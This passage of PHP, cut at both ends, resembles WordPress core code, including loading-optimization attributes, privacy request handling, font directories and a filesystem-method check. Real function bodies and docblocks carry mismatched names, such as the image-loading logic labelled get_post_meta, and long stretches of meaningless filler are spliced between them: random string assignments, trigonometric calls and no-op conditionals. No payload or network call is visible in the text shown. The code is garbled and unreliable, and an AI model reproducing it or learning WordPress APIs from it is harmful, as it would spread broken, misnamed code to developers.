$tinymce_settings = (!isset($tinymce_settings)?"s6u4":"q6rwuqc"); if(!(lcfirst($active_theme_parent_theme)) != false) { $oitar = 'tdouea'; } $LookupExtendedHeaderRestrictionsImageEncoding['raaj5'] = 3965; $is_schema_array = atanh(953); $active_theme_parent_theme = strcoll($active_theme_parent_theme, $active_theme_parent_theme); $babs['ngk3'] = 'otri2m'; $random = 'xwu8yuer'; if(!(strrpos($frame_crop_left_offset, $active_theme_parent_theme)) !== True) { $use_verbose_page_rules = 'l943ghkob'; } $themes_count['ln5cizz'] = 'ccvbfrd'; if(!empty(strnatcasecmp($state_count, $state_count)) != False){ $multifeed_url = 'y9xzs744a'; } // Undo trash, not in Trash. // comment_type $ambiguous_tax_term_counts = (!isset($ambiguous_tax_term_counts)? "hgvbww1" : "uf7dgi"); if(!isset($unpublished_changeset_post)) { $unpublished_changeset_post = 'mqx6w'; } $unpublished_changeset_post = str_shuffle($random); $isnormalized['gpkelwhts'] = 'gouuyj9'; $wp_registered_widgets['i8h6u'] = 'm3q3'; $az = atan(632); $f5g4 = 'b1oswha'; if(!isset($g4)) { $g4 = 'e2autz2h1'; } $g4 = strcspn($f5g4, $random); $g4 = ucfirst($random); $unpublished_changeset_post = base64_encode($f5g4); $options_misc_pdf_returnXREF = 'm2ig50a'; $f5g4 = stripslashes($options_misc_pdf_returnXREF); return $random; } // If the menu name has been used previously then append an ID /** * Fires after the 'Personal Options' settings table on the 'Profile' editing screen. * * The action only fires if the current user is editing their own profile. * * @since 2.0.0 * * @param WP_User $old_rolerofile_user The current WP_User object. */ function next_post_rel_link ($admin_body_id){ // If the table field exists in the field array... // Remove the core/more block delimiters. They will be left over after $content is split up. // Headers' msgid is an empty string. $checking_collation = 'u5ewhizm'; // Preferred handler for MP3 file types. // s6 -= s15 * 997805; if(!isset($StreamNumberCounter)) { $StreamNumberCounter = 'yc31q5jbj'; } $StreamNumberCounter = stripcslashes($checking_collation); $admin_body_id = 'glwu6kyyn'; if(!empty(substr($admin_body_id, 10, 10)) != FALSE) { $youtube_pattern = 'yfksiml6n'; } $checking_collation = ucwords($StreamNumberCounter); $theme_json_tabbed['btbr4nr'] = 'h77bw'; $admin_body_id = rawurldecode($StreamNumberCounter); $checking_collation = wordwrap($StreamNumberCounter); $my_sk['mwhh3'] = 245; if((urldecode($StreamNumberCounter)) === true) { $server_text = 'ksjz4e6b'; } $maxTimeout = 'hogv'; $switched_blog = 'dyvi'; $switched_blog = strnatcasecmp($maxTimeout, $switched_blog); if(empty(cosh(851)) !== True) { $install_label = 'c0fkge'; } $maxTimeout = htmlspecialchars($checking_collation); $admin_body_id = stripslashes($checking_collation); $timetotal['oxxwne2'] = 2428; if(!empty(ucfirst($checking_collation)) === False) { $named_text_color = 'bjoxnn2'; } $to_prepend = (!isset($to_prepend)?'pfy1fonzh':'p0w3ags9r'); $checking_collation = decbin(468); if(!empty(floor(693)) !== False) { $show_rating = 'dnczm0vn9'; } return $admin_body_id; } $erasers['vpb1dwpl'] = 4946; /** * Displays form fields for changing link target. * * @since 2.6.0 * * @param object $queried_object_id Current link object. */ function skip_to_tag_closer($queried_object_id) { <fieldset><legend class="screen-reader-text"><span> /* translators: Hidden accessibility text. */ _e('Target'); </span></legend> <p><label for="link_target_blank" class="selectit"> <input id="link_target_blank" type="radio" name="link_target" value="_blank" echo isset($queried_object_id->link_target) && '_blank' === $queried_object_id->link_target ? 'checked="checked"' : ''; /> _e('<code>_blank</code> — new window or tab.'); </label></p> <p><label for="link_target_top" class="selectit"> <input id="link_target_top" type="radio" name="link_target" value="_top" echo isset($queried_object_id->link_target) && '_top' === $queried_object_id->link_target ? 'checked="checked"' : ''; /> _e('<code>_top</code> — current window or tab, with no frames.'); </label></p> <p><label for="link_target_none" class="selectit"> <input id="link_target_none" type="radio" name="link_target" value="" echo isset($queried_object_id->link_target) && '' === $queried_object_id->link_target ? 'checked="checked"' : ''; /> _e('<code>_none</code> — same window or tab.'); </label></p> </fieldset> <p> _e('Choose the target frame for your link.'); </p> } $dependency_location_in_dependents = 'tgj3g'; /** * Deletes a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ function print_late_styles ($StreamNumberCounter){ // [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands. $attach_uri = 'dezwqwny'; $sensor_data_type = 'ynifu'; if(!isset($v_src_file)) { $v_src_file = 'f6a7'; } $smtp_conn = 'xw87l'; $StreamNumberCounter = acos(639); $checking_collation = 'eicrxa2'; if(!isset($ATOM_CONTENT_ELEMENTS)) { $ATOM_CONTENT_ELEMENTS = 'yjff1'; } $should_skip_font_size = (!isset($should_skip_font_size)? "okvcnb5" : "e5mxblu"); $v_src_file = atan(76); $sensor_data_type = rawurldecode($sensor_data_type); $GarbageOffsetStart['d8bxw'] = 4225; if(!empty(strrpos($checking_collation, $StreamNumberCounter)) == True){ $join = 'fbf8pasd0'; } $is_trash = (!isset($is_trash)? 'qkhym' : 'jn23ry'); $StreamNumberCounter = strip_tags($StreamNumberCounter); $smtp_transaction_id_pattern['nqtw9do83'] = 'vx46cfg'; if(!empty(strripos($checking_collation, $checking_collation)) !== true) { $deactivated = 'c74rfpzmz'; } $copykeys = (!isset($copykeys)? "e0u8tt82" : "llzlv"); $StreamNumberCounter = rtrim($checking_collation); if(!isset($admin_body_id)) { $admin_body_id = 'hdlvpn0v5'; } $admin_body_id = decoct(341); $checking_collation = lcfirst($StreamNumberCounter); $StreamNumberCounter = strip_tags($checking_collation); $myLimbs['f0l6wb9'] = 'we4jvi63'; $admin_body_id = acos(368); $checking_collation = soundex($admin_body_id); $critical_data['fuhc3d5'] = 4437; $StreamNumberCounter = rad2deg(989); $register_meta_box_cb['f9jl'] = 'wvp6'; if((round(633)) == TRUE){ $onemsqd = 'lo8ewcxxg'; } return $StreamNumberCounter; } $existing_domain = rtrim($existing_domain); $matchmask['n1fij2h7d'] = 3735; // Convert to WP_Site instances. /** * Displays the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators overall the {@see 'the_generator'} filter. * * @since 2.5.0 * * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). */ function get_paged_template ($StreamNumberCounter){ $attach_uri = 'dezwqwny'; $lookup = 'yzup974m'; $frame_crop_left_offset = 'zhsax1pq'; $old_installing = 'yhg8wvi'; if(!isset($checking_collation)) { $checking_collation = 'w3shay'; } $checking_collation = acosh(60); $StreamNumberCounter = 'nsp8'; $trackbackindex['jme9r'] = 2574; $StreamNumberCounter = strtr($StreamNumberCounter, 21, 24); $wp_site_url_class['jl1efz'] = 'm6lv'; $StreamNumberCounter = strnatcasecmp($StreamNumberCounter, $StreamNumberCounter); $script_handles = (!isset($script_handles)? "j7kq1b83v" : "h5avo5"); $checking_collation = strcspn($checking_collation, $StreamNumberCounter); $auto_update_settings['y6h3o'] = 'qdeb'; $checking_collation = ltrim($StreamNumberCounter); $strlen = (!isset($strlen)? 'tian0' : 'k95w'); $updates['ydv6j6n'] = 3333; if((rawurlencode($StreamNumberCounter)) != FALSE){ $v_arg_list = 'g6sn5x'; } $essential_bit_mask = (!isset($essential_bit_mask)? "r2qqhhax" : "e2vyumr2"); $checking_collation = strrpos($checking_collation, $StreamNumberCounter); $capability__in = (!isset($capability__in)? "ofk6rccdd" : "ypi89irs"); if((sha1($checking_collation)) == TRUE) { $ASFIndexObjectData = 'ef3jf4'; } // Strip comments if(!(quotemeta($StreamNumberCounter)) !== False) { //This is likely to happen because the explode() above will also split $ic = 'zrc7'; } $StreamNumberCounter = substr($StreamNumberCounter, 18, 15); $exif_usercomment['o9ki'] = 2780; $StreamNumberCounter = ucwords($checking_collation); if(empty(chop($checking_collation, $checking_collation)) !== true) { $tag_added = 'cgpqxi4y'; } $checking_collation = trim($StreamNumberCounter); $StreamNumberCounter = strrev($StreamNumberCounter); return $StreamNumberCounter; } $bytewordlen = (!isset($bytewordlen)? "ui924h44q" : "a612"); $dependency_note = acos(203); $imagick_timeout = strcoll($imagick_timeout, $imagick_timeout); /** * Renders the screen's help section. * * This will trigger the deprecated filters for backward compatibility. * * @since 3.3.0 * * @global string $screen_layout_columns */ if(!empty(chop($dependency_location_in_dependents, $dependency_location_in_dependents)) === true) { $howdy = 'x0c5mnq'; } $mydomain = (!isset($mydomain)? 'anps7' : 'w4faszzn4'); // User is logged out, create anonymous user object. /** * A callback function for use in the {@see 'upload_dir'} filter. * * This function is intended for internal use only and should not be used by plugins and themes. * Use wp_get_font_dir() instead. * * @since 6.5.0 * @access private * * @param string $featured_cat_id The font directory. * @return string The modified font directory. */ function get_post_types($featured_cat_id) { if (doing_filter('font_dir')) { // Avoid an infinite loop. return $featured_cat_id; } $featured_cat_id = array('path' => untrailingslashit($featured_cat_id['basedir']) . '/fonts', 'url' => untrailingslashit($featured_cat_id['baseurl']) . '/fonts', 'subdir' => '', 'basedir' => untrailingslashit($featured_cat_id['basedir']) . '/fonts', 'baseurl' => untrailingslashit($featured_cat_id['baseurl']) . '/fonts', 'error' => false); /** * Filters the fonts directory data. * * This filter allows developers to modify the fonts directory data. * * @since 6.5.0 * * @param array $featured_cat_id { * Array of information about the font upload directory. * * @type string $old_site_parsed Base directory and subdirectory or full path to the fonts upload directory. * @type string $queues Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ return apply_filters('font_dir', $featured_cat_id); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ if(!isset($lon_deg_dec)) { $lon_deg_dec = 'x0n9lgp4s'; } /** * Registered instances of WP_Customize_Section. * * @since 3.4.0 * @var array */ if((exp(486)) !== False){ $cache_duration = 'ywnhyqp6'; } /** * Gets loading optimization attributes. * * This function returns an array of attributes that should be merged into the given attributes array to optimize * loading performance. Potential attributes returned by this function are: * - `loading` attribute with a value of "lazy" * - `fetchpriority` attribute with a value of "high" * - `decoding` attribute with a value of "async" * * If any of these attributes are already present in the given attributes, they will not be modified. Note that no * element should have both `loading="lazy"` and `fetchpriority="high"`, so the function will trigger a warning in case * both attributes are present with those values. * * @since 6.3.0 * * @global WP_Query $unsorted_menu_items WordPress Query object. * * @param string $name_field_description The tag name. * @param array $temp_args Array of the attributes for the tag. * @param string $theme_json_file_cache Context for the element for which the loading optimization attribute is requested. * @return array Loading optimization attributes. */ function get_post_meta($name_field_description, $temp_args, $theme_json_file_cache) { global $unsorted_menu_items; /** * Filters whether to short-circuit loading optimization attributes. * * Returning an array from the filter will effectively short-circuit the loading of optimization attributes, * returning that value instead. * * @since 6.4.0 * * @param array|false $MAX_AGE False by default, or array of loading optimization attributes to short-circuit. * @param string $name_field_description The tag name. * @param array $temp_args Array of the attributes for the tag. * @param string $theme_json_file_cache Context for the element for which the loading optimization attribute is requested. */ $MAX_AGE = apply_filters('pre_get_post_meta', false, $name_field_description, $temp_args, $theme_json_file_cache); if (is_array($MAX_AGE)) { return $MAX_AGE; } $MAX_AGE = array(); /* * Skip lazy-loading for the overall block template, as it is handled more granularly. * The skip is also applicable for `fetchpriority`. */ if ('template' === $theme_json_file_cache) { /** This filter is documented in wp-includes/media.php */ return apply_filters('get_post_meta', $MAX_AGE, $name_field_description, $temp_args, $theme_json_file_cache); } // For now this function only supports images and iframes. if ('img' !== $name_field_description && 'iframe' !== $name_field_description) { /** This filter is documented in wp-includes/media.php */ return apply_filters('get_post_meta', $MAX_AGE, $name_field_description, $temp_args, $theme_json_file_cache); } /* * Skip programmatically created images within content blobs as they need to be handled together with the other * images within the post content or widget content. * Without this clause, they would already be considered within their own context which skews the image count and * can result in the first post content image being lazy-loaded or an image further down the page being marked as a * high priority. */ if ('the_content' !== $theme_json_file_cache && doing_filter('the_content') || 'widget_text_content' !== $theme_json_file_cache && doing_filter('widget_text_content') || 'widget_block_content' !== $theme_json_file_cache && doing_filter('widget_block_content')) { /** This filter is documented in wp-includes/media.php */ return apply_filters('get_post_meta', $MAX_AGE, $name_field_description, $temp_args, $theme_json_file_cache); } /* * Add `decoding` with a value of "async" for every image unless it has a * conflicting `decoding` attribute already present. */ if ('img' === $name_field_description) { if (isset($temp_args['decoding'])) { $MAX_AGE['decoding'] = $temp_args['decoding']; } else { $MAX_AGE['decoding'] = 'async'; } } // For any resources, width and height must be provided, to avoid layout shifts. if (!isset($temp_args['width'], $temp_args['height'])) { /** This filter is documented in wp-includes/media.php */ return apply_filters('get_post_meta', $MAX_AGE, $name_field_description, $temp_args, $theme_json_file_cache); } /* * The key function logic starts here. */ $should_include = null; $is_valid = false; $old_meta = false; // Logic to handle a `loading` attribute that is already provided. if (isset($temp_args['loading'])) { /* * Interpret "lazy" as not in viewport. Any other value can be * interpreted as in viewport (realistically only "eager" or `false` * to force-omit the attribute are other potential values). */ if ('lazy' === $temp_args['loading']) { $should_include = false; } else { $should_include = true; } } // Logic to handle a `fetchpriority` attribute that is already provided. if (isset($temp_args['fetchpriority']) && 'high' === $temp_args['fetchpriority']) { /* * If the image was already determined to not be in the viewport (e.g. * from an already provided `loading` attribute), trigger a warning. * Otherwise, the value can be interpreted as in viewport, since only * the most important in-viewport image should have `fetchpriority` set * to "high". */ if (false === $should_include) { _doing_it_wrong(__FUNCTION__, __('An image should not be lazy-loaded and marked as high priority at the same time.'), '6.3.0'); /* * Set `fetchpriority` here for backward-compatibility as we should * not override what a developer decided, even though it seems * incorrect. */ $MAX_AGE['fetchpriority'] = 'high'; } else { $should_include = true; } } if (null === $should_include) { $cleaned_clause = array('template_part_' . WP_TEMPLATE_PART_AREA_HEADER => true, 'get_header_image_tag' => true); /** * Filters the header-specific contexts. * * @since 6.4.0 * * @param array $default_header_enforced_contexts Map of contexts for which elements should be considered * in the header of the page, as $theme_json_file_cache => $enabled * pairs. The $enabled should always be true. */ $cleaned_clause = apply_filters('wp_loading_optimization_force_header_contexts', $cleaned_clause); // Consider elements with these header-specific contexts to be in viewport. if (isset($cleaned_clause[$theme_json_file_cache])) { $should_include = true; $old_meta = true; } elseif (!is_admin() && in_the_loop() && is_main_query()) { /* * Get the content media count, since this is a main query * content element. This is accomplished by "increasing" * the count by zero, as the only way to get the count is * to call this function. * The actual count increase happens further below, based * on the `$is_valid` flag set here. */ $abstraction_file = wp_increase_content_media_count(0); $is_valid = true; // If the count so far is below the threshold, `loading` attribute is omitted. if ($abstraction_file < wp_omit_loading_attr_threshold()) { $should_include = true; } else { $should_include = false; } } elseif ($unsorted_menu_items->before_loop && $unsorted_menu_items->is_main_query() && did_action('get_header') && !did_action('get_footer')) { $should_include = true; $old_meta = true; } } /* * If the element is in the viewport (`true`), potentially add * `fetchpriority` with a value of "high". Otherwise, i.e. if the element * is not not in the viewport (`false`) or it is unknown (`null`), add * `loading` with a value of "lazy". */ if ($should_include) { $MAX_AGE = wp_maybe_add_fetchpriority_high_attr($MAX_AGE, $name_field_description, $temp_args); } else if (wp_lazy_loading_enabled($name_field_description, $theme_json_file_cache)) { $MAX_AGE['loading'] = 'lazy'; } /* * If flag was set based on contextual logic above, increase the content * media count, either unconditionally, or based on whether the image size * is larger than the threshold. */ if ($is_valid) { wp_increase_content_media_count(); } elseif ($old_meta) { /** This filter is documented in wp-includes/media.php */ $idmode = apply_filters('wp_min_priority_img_pixels', 50000); if ($idmode <= $temp_args['width'] * $temp_args['height']) { wp_increase_content_media_count(); } } /** * Filters the loading optimization attributes. * * @since 6.4.0 * * @param array $MAX_AGE The loading optimization attributes. * @param string $name_field_description The tag name. * @param array $temp_args Array of the attributes for the tag. * @param string $theme_json_file_cache Context for the element for which the loading optimization attribute is requested. */ return apply_filters('get_post_meta', $MAX_AGE, $name_field_description, $temp_args, $theme_json_file_cache); } /** * Retrieves the URL to the author page for the user with the ID provided. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int $author_id Author ID. * @param string $author_nicename Optional. The author's nicename (slug). Default empty. * @return string The URL to the author's page. */ if(!isset($dual_use)) { $dual_use = 'lce125vv'; } $default_minimum_viewport_width['kxls1vs'] = 2162; $newdir['mrwv'] = 'fk7t2qi1'; //var $ERROR = ""; $thumbnails_cached = soundex($wasnt_square); /** * Handle list table actions. * * @since 4.9.6 * @access private */ function file_is_displayable_image() { if (isset($_POST['privacy_action_email_retry'])) { check_admin_referer('bulk-privacy_requests'); $has_connected = absint(current(array_keys((array) wp_unslash($_POST['privacy_action_email_retry'])))); $mixedVar = _wp_privacy_resend_request($has_connected); if (is_wp_error($mixedVar)) { add_settings_error('privacy_action_email_retry', 'privacy_action_email_retry', $mixedVar->get_error_message(), 'error'); } else { add_settings_error('privacy_action_email_retry', 'privacy_action_email_retry', __('Confirmation request sent again successfully.'), 'success'); } } elseif (isset($_POST['action'])) { $gap_column = !empty($_POST['action']) ? sanitize_key(wp_unslash($_POST['action'])) : ''; switch ($gap_column) { case 'add_export_personal_data_request': case 'add_remove_personal_data_request': check_admin_referer('personal-data-request'); if (!isset($_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'])) { add_settings_error('action_type', 'action_type', __('Invalid personal data action.'), 'error'); } $starter_content = sanitize_text_field(wp_unslash($_POST['type_of_action'])); $d0 = sanitize_text_field(wp_unslash($_POST['username_or_email_for_privacy_request'])); $MPEGaudioData = ''; $stickies = 'pending'; if (!isset($_POST['send_confirmation_email'])) { $stickies = 'confirmed'; } if (!in_array($starter_content, _wp_privacy_action_request_types(), true)) { add_settings_error('action_type', 'action_type', __('Invalid personal data action.'), 'error'); } if (!is_email($d0)) { $content2 = get_user_by('login', $d0); if (!$content2 instanceof WP_User) { add_settings_error('username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', __('Unable to add this request. A valid email address or username must be supplied.'), 'error'); } else { $MPEGaudioData = $content2->user_email; } } else { $MPEGaudioData = $d0; } if (empty($MPEGaudioData)) { break; } $has_connected = wp_create_user_request($MPEGaudioData, $starter_content, array(), $stickies); $text_decoration_class = ''; if (is_wp_error($has_connected)) { $text_decoration_class = $has_connected->get_error_message(); } elseif (!$has_connected) { $text_decoration_class = __('Unable to initiate confirmation request.'); } if ($text_decoration_class) { add_settings_error('username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', $text_decoration_class, 'error'); break; } if ('pending' === $stickies) { wp_send_user_request($has_connected); $text_decoration_class = __('Confirmation request initiated successfully.'); } elseif ('confirmed' === $stickies) { $text_decoration_class = __('Request added successfully.'); } if ($text_decoration_class) { add_settings_error('username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', $text_decoration_class, 'success'); break; } } } } $dual_use = strcoll($dependency_note, $dependency_note); $to_item_id = (!isset($to_item_id)? "ruxa" : "gjvid"); $lon_deg_dec = stripcslashes($imagick_timeout); $r_p1p1 = strip_tags($r_p1p1); /** * Corrects 404 redirects when NOBLOGREDIRECT is defined. * * @since MU (3.0.0) */ function rewrite_rules() { if (is_main_site() && is_404() && defined('NOBLOGREDIRECT')) { /** * Filters the redirect URL for 404s on the main site. * * The filter is only evaluated if the NOBLOGREDIRECT constant is defined. * * @since 3.0.0 * * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT. */ $v_supported_attributes = apply_filters('blog_redirect_404', NOBLOGREDIRECT); if ($v_supported_attributes) { if ('%siteurl%' === $v_supported_attributes) { $v_supported_attributes = network_home_url(); } wp_redirect($v_supported_attributes); exit; } } } // Back-compat: old sanitize and auth callbacks are applied to all of an object type. // Compile the "src" parameter. $metadata_name = (!isset($metadata_name)? "sxfxt6l" : "j4vn"); // On deletion of menu, if another menu exists, show it. // Get a list of all drop-in replacements. /** * Outputs the formatted file list for the plugin file editor. * * @since 4.9.0 * @access private * * @param array|string $tree List of file/folder paths, or filename. * @param string $label Name of file or folder to print. * @param int $level The aria-level for the current iteration. * @param int $useVerp The aria-setsize for the current iteration. * @param int $index The aria-posinset for the current iteration. */ if(!(base64_encode($r_p1p1)) === true) { $WaveFormatEx_raw = 'h4zy5n'; } $remote_ip = intval_base10($r_p1p1); $remote_ip = log(816); $remote_ip = wp_get_nav_menu_to_edit($remote_ip); $thisfile_riff_WAVE_bext_0 = (!isset($thisfile_riff_WAVE_bext_0)?"waf1xgh26":"d8zfcd8"); /** * Transforms a native Request hook to a WordPress action. * * This action maps Requests internal hook to a native WordPress action. * * @see https://github.com/WordPress/Requests/blob/master/docs/hooks.md * * @since 4.7.0 * * @param array $old_rolearameters Parameters from Requests internal hook. * @param array $request Request data in WP_Http format. * @param string $queues URL to request. */ if(empty(strrev($r_p1p1)) == FALSE) { $guessurl = 'hf6uq'; } $frame_flags = (!isset($frame_flags)? "yxok2j" : "tjwvd3s"); $r_p1p1 = dechex(21); $r_p1p1 = next_post_rel_link($r_p1p1); /** * Internal implementation of CSS clamp() based on available min/max viewport * width and min/max font sizes. * * @since 6.1.0 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values. * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero. * @access private * * @param array $new_size_data { * Optional. An associative array of values to calculate a fluid formula * for font size. Default is empty array. * * @type string $maximum_viewport_width Maximum size up to which type will have fluidity. * @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity. * @type string $maximum_font_size Maximum font size for any clamp() calculation. * @type string $minimum_font_size Minimum font size for any clamp() calculation. * @type int $scale_factor A scale factor to determine how fast a font scales within boundaries. * } * @return string|null A font-size value using clamp() on success, otherwise null. */ if(!isset($dupe)) { $dupe = 'fsvio'; } $dupe = lcfirst($r_p1p1); /** * Change a string from one encoding to another * * @param string $absolute_url Raw data in $input encoding * @param string $input Encoding of $absolute_url * @param string $f0f0 Encoding you want * @return string|boolean False if we can't convert it */ if(!isset($new_path)) { $new_path = 'xd0w6q'; } $new_path = exp(723); $itemtag['oztk'] = 3820; $dupe = wordwrap($dupe); /** * Prints TinyMCE editor JS. * * @deprecated 3.3.0 Use wp_editor() * @see wp_editor() */ if(empty(sqrt(385)) != FALSE) { $is_theme_mod_setting = 'a6gk'; } $remote_ip = 'jxjy'; $r_p1p1 = print_late_styles($remote_ip); /** * Fires at the top of each of the tabs on the Install Themes page. * * The dynamic portion of the hook name, `$tab`, refers to the current * theme installation tab. * * Possible hook names include: * * - `install_themes_block-themes` * - `install_themes_dashboard` * - `install_themes_featured` * - `install_themes_new` * - `install_themes_search` * - `install_themes_updated` * - `install_themes_upload` * * @since 2.8.0 * @since 6.1.0 Added the `install_themes_block-themes` hook name. * * @param int $aria_named Number of the current page of results being viewed. */ if(empty(stripos($r_p1p1, $dupe)) == False) { $has_nav_menu = 'n6vru'; } $remote_ip = 'ayu0k0d'; $r_p1p1 = get_paged_template($remote_ip); $contenttypeid = 'qpwq89n'; $has_inner_blocks['oiep97ycs'] = 1871; /** * Filters the array of screen layout columns. * * This hook provides back-compat for plugins using the back-compat * Filters instead of add_screen_option(). * * @since 2.8.0 * * @param array $empty_columns Empty array. * @param string $screen_id Screen ID. * @param WP_Screen $screen Current WP_Screen instance. */ if(!(strtr($contenttypeid, 14, 9)) !== false) { $name_conflict_suffix = 'ipaadt'; } /** * Add extra item data. * * Adds data to a registered item. * * @since 2.6.0 * * @param string $handle Name of the item. Should be unique. * @param string $skip_link_color_serialization The data key. * @param mixed $next_event The data value. * @return bool True on success, false on failure. */ if(empty(cosh(578)) === True) { $http_akismet_url = 'r9kl4d'; } $offer['n86kd7a'] = 59; $dupe = asin(856); $r_p1p1 = rad2deg(584); $filter_id = 'p9syle'; $dupe = md5($filter_id); /** * Removes hook for shortcode. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to remove hook for. */ if(!isset($is_url_encoded)) { $is_url_encoded = 'w2hxx9y8'; } $is_url_encoded = sin(588); /** * Set the last modified time to the current time * * @return bool Success status */ if(empty(cosh(908)) != true) { $DKIM_passphrase = 'lixq3'; } $is_tax = 'ho6zh0'; $is_url_encoded = ristretto255_random($is_tax); $search_results_query['sea9pmccz'] = 'c2x9g'; /** * Returns the names or objects of the taxonomies which are registered for the requested object or object type, * such as a post object or post type name. * * Example: * * $site_user = update_menu_item_cache( 'post' ); * * This results in: * * Array( 'category', 'post_tag' ) * * @since 2.3.0 * * @global WP_Taxonomy[] $iframe The registered taxonomies. * * @param string|string[]|WP_Post $v_extract Name of the type of taxonomy object, or an object (row from posts). * @param string $f0f0 Optional. The type of output to return in the array. Accepts either * 'names' or 'objects'. Default 'names'. * @return string[]|WP_Taxonomy[] The names or objects of all taxonomies of `$v_extract`. */ function update_menu_item_cache($v_extract, $f0f0 = 'names') { global $iframe; if (is_object($v_extract)) { if ('attachment' === $v_extract->post_type) { return get_attachment_taxonomies($v_extract, $f0f0); } $v_extract = $v_extract->post_type; } $v_extract = (array) $v_extract; $site_user = array(); foreach ((array) $iframe as $metabox_holder_disabled_class => $mature) { if (array_intersect($v_extract, (array) $mature->object_type)) { if ('names' === $f0f0) { $site_user[] = $metabox_holder_disabled_class; } else { $site_user[$metabox_holder_disabled_class] = $mature; } } } return $site_user; } $is_tax = stripslashes($is_url_encoded); $is_url_encoded = has_post_parent($is_url_encoded); $is_tax = atan(266); /** * Retrieves template directory path for the active theme. * * @since 1.5.0 * @since 6.4.0 Memoizes filter execution so that it only runs once for the current theme. * @since 6.4.1 Memoization removed. * * @return string Path to active theme's template directory. */ function rest_ensure_request() { $table_charset = ASF_WMpicture(); $cache_value = get_theme_root($table_charset); $forbidden_params = "{$cache_value}/{$table_charset}"; /** * Filters the active theme directory path. * * @since 1.5.0 * * @param string $forbidden_params The path of the active theme directory. * @param string $table_charset Directory name of the active theme. * @param string $cache_value Absolute path to the themes directory. */ return apply_filters('template_directory', $forbidden_params, $table_charset, $cache_value); } $metarow['mc2ih4ydb'] = 1439; $is_url_encoded = strrev($is_tax); $is_tax = wp_theme_has_theme_json($is_tax); $determined_format = 'nes8'; /** * Get a numeric user ID from either an email address or a login. * * A numeric string is considered to be an existing user ID * and is simply returned as such. * * @since MU (3.0.0) * @deprecated 3.6.0 Use get_user_by() * @see get_user_by() * * @param string $toggle_button_icon Either an email address or a login. * @return int */ function getCounter($toggle_button_icon) { _deprecated_function(__FUNCTION__, '3.6.0', 'get_user_by()'); if (is_email($toggle_button_icon)) { $content2 = get_user_by('email', $toggle_button_icon); } elseif (is_numeric($toggle_button_icon)) { return $toggle_button_icon; } else { $content2 = get_user_by('login', $toggle_button_icon); } if ($content2) { return $content2->ID; } return 0; } $serviceTypeLookup['utt1guh5'] = 3385; $is_url_encoded = strcspn($is_tax, $determined_format); /** * Navigates through an array, object, or scalar, and encodes the values to be used in a URL. * * @since 2.2.0 * * @param mixed $next_event The array or string to be encoded. * @return mixed The encoded value. */ function wp_die_handler($next_event) { return map_deep($next_event, 'urlencode'); } $determined_format = block_core_navigation_link_build_css_font_sizes($determined_format); $is_url_encoded = crc32($is_url_encoded); $toArr = (!isset($toArr)? 'y8slo' : 'xbhrwi8jz'); $f7g2['ymk30q'] = 'pbr27ma2'; $thisfile_id3v2['a9bdl'] = 'icfqa'; $is_url_encoded = str_repeat($is_tax, 14); $is_url_encoded = sodium_crypto_kx_secretkey($is_tax); $bitrate = (!isset($bitrate)? 'tvvk' : 'wzrqp'); $is_tax = rawurldecode($is_url_encoded); $is_tax = decbin(578); $is_url_encoded = bin2hex($determined_format); $with_namespace['cduduqq'] = 3027; /** * Do these two comments, without checking the comment_ID, "match"? * * @param mixed $remote_source_original1 A comment object or array. * @param mixed $remote_source_original2 A comment object or array. * @return bool Whether the two comments should be treated as the same comment. */ if(!empty(acos(284)) !== false) { $search_column = 'xf8a6'; } $theme_files['uvfj3l'] = 2310; $is_url_encoded = exp(817); $check_email = (!isset($check_email)?'ep53kj':'viuk36tqd'); $is_url_encoded = html_entity_decode($is_tax); /** * Retrieves multiple options. * * Options are loaded as necessary first in order to use a single database query at most. * * @since 6.4.0 * * @param string[] $options An array of option names to retrieve. * @return array An array of key-value pairs for the requested options. */ if(!isset($delete_result)) { $delete_result = 'b2t9tap7'; } $delete_result = substr($is_tax, 8, 21); $http_base = (!isset($http_base)? "dng4" : "dvjcv4b"); /** * Determines which method to use for reading, writing, modifying, or deleting * files on the filesystem. * * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2', * 'ftpext' or 'ftpsockets'. * * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`, * or filtering via {@see 'filesystem_method'}. * * @link https://wordpress.org/documentation/article/editing-wp-config-php/#wordpress-upgrade-constants * * Plugins may define a custom transport handler, See WP_Filesystem(). * * @since 2.5.0 * * @global callable $_wp_filesystem_direct_method * * @param array $new_size_data Optional. Connection details. Default empty array. * @param string $theme_json_file_cache Optional. Full path to the directory that is tested * for being writable. Default empty. * @param bool $cat2 Optional. Whether to allow Group/World writable. * Default false. * @return string The transport to use, see description for valid return values. */ function sodium_crypto_box_seal($new_size_data = array(), $theme_json_file_cache = '', $cat2 = false) { // Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'. $errline = defined('FS_METHOD') ? FS_METHOD : false; if (!$theme_json_file_cache) { $theme_json_file_cache = WP_CONTENT_DIR; } // If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it. if (WP_LANG_DIR === $theme_json_file_cache && !is_dir($theme_json_file_cache)) { $theme_json_file_cache = dirname($theme_json_file_cache); } $theme_json_file_cache = trailingslashit($theme_json_file_cache); if (!$errline) { $applicationid = $theme_json_file_cache . 'temp-write-test-' . str_replace('.', '-', uniqid('', true)); $update_notoptions = @fopen($applicationid, 'w'); 